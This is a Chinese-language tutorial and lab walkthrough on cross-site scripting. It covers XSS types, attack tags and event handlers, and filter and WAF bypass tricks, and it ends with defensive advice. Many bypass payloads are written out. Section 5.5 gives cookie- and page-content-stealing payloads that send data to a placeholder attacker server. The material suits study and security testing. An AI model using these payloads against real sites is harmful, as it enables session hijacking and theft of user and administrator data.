浅析XSS常见绕过姿势及靶场实战
字数 1350 2025-08-12 11:33:58
XSS攻击全面解析:绕过技巧与实战指南
1. XSS基础概念
1.1 定义与原理
XSS(Cross Site Scripting,跨站脚本攻击)是一种通过在网站中插入恶意script代码,当用户访问该网站时触发恶意代码,从而获取用户信息的攻击方式。
1.2 漏洞危害
- 窃取管理员帐号或Cookie:冒充管理员身份操纵后台数据
- 窃取用户个人信息:冒充用户身份进行各种操作
- 网站挂马:在用户计算机植入木马
- 发送广告或垃圾信息:严重影响用户正常使用
2. XSS分类
2.1 反射型XSS(非持久性)
- 攻击流程:
- 攻击者发送带有XSS脚本的恶意链接
- 用户点击链接访问正常服务器
- 服务器返回含XSS的页面
- 客户端解析执行恶意代码
- 攻击者读取用户信息
2.2 存储型XSS(持久性)
- 最危险的XSS类型
- 攻击流程:
- 攻击者注入XSS代码并被服务器存储
- 用户访问含恶意脚本的页面
- 服务器返回含XSS的页面
- 客户端执行恶意代码
- 攻击者获取用户数据
2.3 DOM型XSS
- 不经过后端,基于文档对象模型(DOM)
- 通过URL参数控制触发
- 常见触发点:
document.refererwindow.namelocationinnerHTMLdocument.write
3. 常用攻击标签与事件
3.1 script标签
<script>alert(1)</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3.2 img标签
3.3 a标签
<a href=javascript:alert('xss')>点击我</a>
<a href="" onclick=alert('xss')>a</a>
3.4 input标签
<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus>
<input autofocus>
3.5 body标签
<body onload=alert(1)>
3.6 svg标签
<svg onload=alert(1)>
3.7 iframe标签
<iframe onload=alert("xss");></iframe>
4. 常见绕过技巧
4.1 双写绕过
当script被替换为空时:
<scrscriptipt>alert(/quan9i/)</scrscriptipt>
过滤后变为:
<script>alert(/quan9i/)</script>
4.2 大小写绕过
<SCriPT>alert('quan9i')</SCriPT>
4.3 实体编码绕过
当内容被过滤时,使用HTML编码:
浏览器会解码为:
4.4 闭合语句绕过
示例场景:
<input name="xianzhi" value="'.$payload.'" type="hidden">
构造payload:
" onclick=alert(1) type="text"//
最终生成:
<input name="xianzhi" value="" onclick=alert(1) type="text"//" type="hidden">
4.5 绕过空格过滤
使用替代空格的字符:
<iframe/**/onload=alert(1);></iframe>
或:
<iframe%0aonload=alert(1);></iframe>
4.6 绕WAF技巧
使用不常用标签或HTML5新标签:
<iframe onload="alert(document.cookie)"></iframe>
<audio src=1 onerror=alert(1)>
<video src=x onerror=alert(48)>
<svg onload=alert(1)>
<button onfocus=alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgncXVhbjlpJyk8L3NjcmlwdD4="></object>
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
5. 实战案例分析
5.1 双写及大小写绕过实战
场景:script被过滤
解决方案:
"/><a hrhrefef=javascrscriptipt:alert(1)>1</a>
或大小写绕过:
"/><a hRef=javasCript:alert(1)>1</a>
5.2 实体编码绕过实战
场景:链接验证要求http://前缀
解决方案:
javascript:alert(1)//http://
当script被过滤时:
javascript:alert(1)//http://
5.3 闭合语句绕过实战
场景:隐藏输入字段
解决方案:
keyword=1&t_sort="type="checkbox" onclick=alert(1)//
生成:
<input name="t_sort" value=""type="checkbox" onclick=alert(1)//" type="hidden">
5.4 Referer头注入
场景:t_ref参数通过Referer传值
解决方案:
" type="password" onclick=alert(1)//
5.5 获取管理员Cookie实战
方法1:使用iframe获取
<iframe/**/onload="window.open('http://攻击者服务器:7777/'+document.cookie)"></iframe>
方法2:使用script获取
<script>window.open('http://攻击者服务器:7777/'+document.cookie)</script>
方法3:获取特定元素内容
<script>window.open('http://攻击者服务器:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
方法4:获取整个容器内容
<script>window.open('http://攻击者服务器:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>
6. 防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用Content Security Policy (CSP)策略
- 设置HttpOnly标志防止Cookie被JavaScript读取
- 对输出到页面的内容进行HTML编码
- 使用现代框架(如React、Vue等)的内置XSS防护机制
- 定期进行安全审计和渗透测试
7. 总结
XSS攻击手段多样,攻击者不断寻找新的绕过方式。本文详细介绍了XSS的基础知识、常见攻击标签、多种绕过技巧以及实战案例,为安全研究人员提供了全面的参考。防御XSS需要开发者保持警惕,采用多层次的安全措施,才能有效保护网站和用户安全。